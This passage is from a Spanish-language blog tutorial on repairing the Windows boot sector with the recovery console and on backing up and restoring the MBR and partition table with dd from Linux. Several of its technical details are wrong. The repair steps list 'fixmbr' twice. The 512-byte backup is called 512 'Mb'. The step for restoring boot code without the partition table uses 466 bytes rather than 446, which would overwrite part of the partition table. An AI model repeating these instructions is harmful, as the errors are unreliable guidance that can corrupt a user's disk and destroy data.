    El caso es que si elegimos la segunda opción, se abrirá una consola en la que se nos pedirá la partición de Windoze a recuperar. En caso de tener una sóla versión de esa mierda de S.O., pues escribimos 1. Caso contrario, el número de opción de la partición en la que se haye el Windoze a recuperar
  • Acto seguido nos pedirá la contraseña de la cuenta Administrador, que, en caso de tenerla será porque se la has puesto tú. Si no, seguramente está en blanco, por lo que simplemente pulsando Enter nos habremos autenticado para realizar esta "tarea de administrador del sistema".
  • Bueno, royos a parte, escribiremos los siguientes comandos:
  1. fixmbr

    A lo que el sistema preguntará si estamos seguros y respondemos "si", sin tilde.

  2. fixmbr

    Misma pregunta por parte del sistema y misma respuesta por nuestra parte.

  3. exit

    Que cierra la consola de recuperación y reinicia el equipo. Con eso podremos volver a entrar en nuestro idolatrado Windoze otra vez y dejar de lloriquear por fin.

Pero dije al principio que este iba a ser un tuto para hacer una copia de seguridad de nuestro sector de arranque, que incluye una copia de nuestra tabla de particiones. Esto es especialmente interesante cuando tenemos un ordenador "de marca", como puede ser un portátil en el que Windoze iba irremediablemente preinstalado (y pagado por nuestra parte); y la reinstalación del mismo implica usar los dvds o partición de "recuperación a los valores de fábrica", que implica a su  vez un formateo de todo el disco duro y pérdida de nuestras particiones y sus datos/sistemas operativos, como podría ser nuestro Linux.


Hacer una copia de seguridad de la tabla del sector de arranque con la tabla de particiones incluida implica en muchos casos recuperar al instante lo que teníamos en las otras particiones en caso de no haber hecho copia de seguridad previa, porque los datos sigue ahí, si recuperamos el esquema de partición del disco duro.


Una de las veces que tuve que reinstalar Windoze e hice copia de seguridad previa de los datos de las otras particiones me encontré con la sorpresa de que, al recuperar simplemente las particiones, el resto (Linux, datos, etc), estaban ahí. Pero en otra ocasión me pasé de listo, no hice la pertinente copia de seguridad y me tuve que despedir de lo que creí que iba a encontrar intacto otra vez.


Al asunto:


  • Desde una partición en la que tengamos instalado un Linux /Mac OS/Free BSD con cualquier otro derivado de UNIX, o desde un Linux live:
  • less /proc/partitions

    Para ver cuál es el nombre dado por nuestro sistema *NIX a nuestro disco duro, si hda o sda, que dependerá de si nuestro disco duro es IDE o SATA y tal. En caso de haber sido reconocido como sda:

    dd if= /dev/sda of=~/backup-mbr bs=512 count=1 (pero sin espacios entre = y / que yo he tenido que usar para que esta página inteligente no interpretara que quiero escribir un emoticón)

    ...y creará un archivo de 512 Mb en nuestro directorio de usuario que guardaremos a salvo. Este comando se utiliza con privilegios de administrador.
  • Para recuperar todo el sector de arranque:

    dd if=backup-mbr of= /dev/sda bs=512 count=1 desde donde tengamos guardado nuestro pequeño fichero de 512 Mb.
  • Para recuperar el sector de arraque sin la tabla de particiones, lo que hacemos es recuperar sólo los 466 primeros bytes; cambiando donde dice 512 por 466.
  • Si queremos recuperar el sector de arranque incluyendo la tabla de particiones, pues sí que escribimos 512.


La explicación original en inglés, y a la que el autor a dedicado más ganas que yo a explicarse bien, aquí:


http://www.linuxconfig.org/linux-backup-restore-destroy-and-install-mbr-master-boot-record



Rss_feed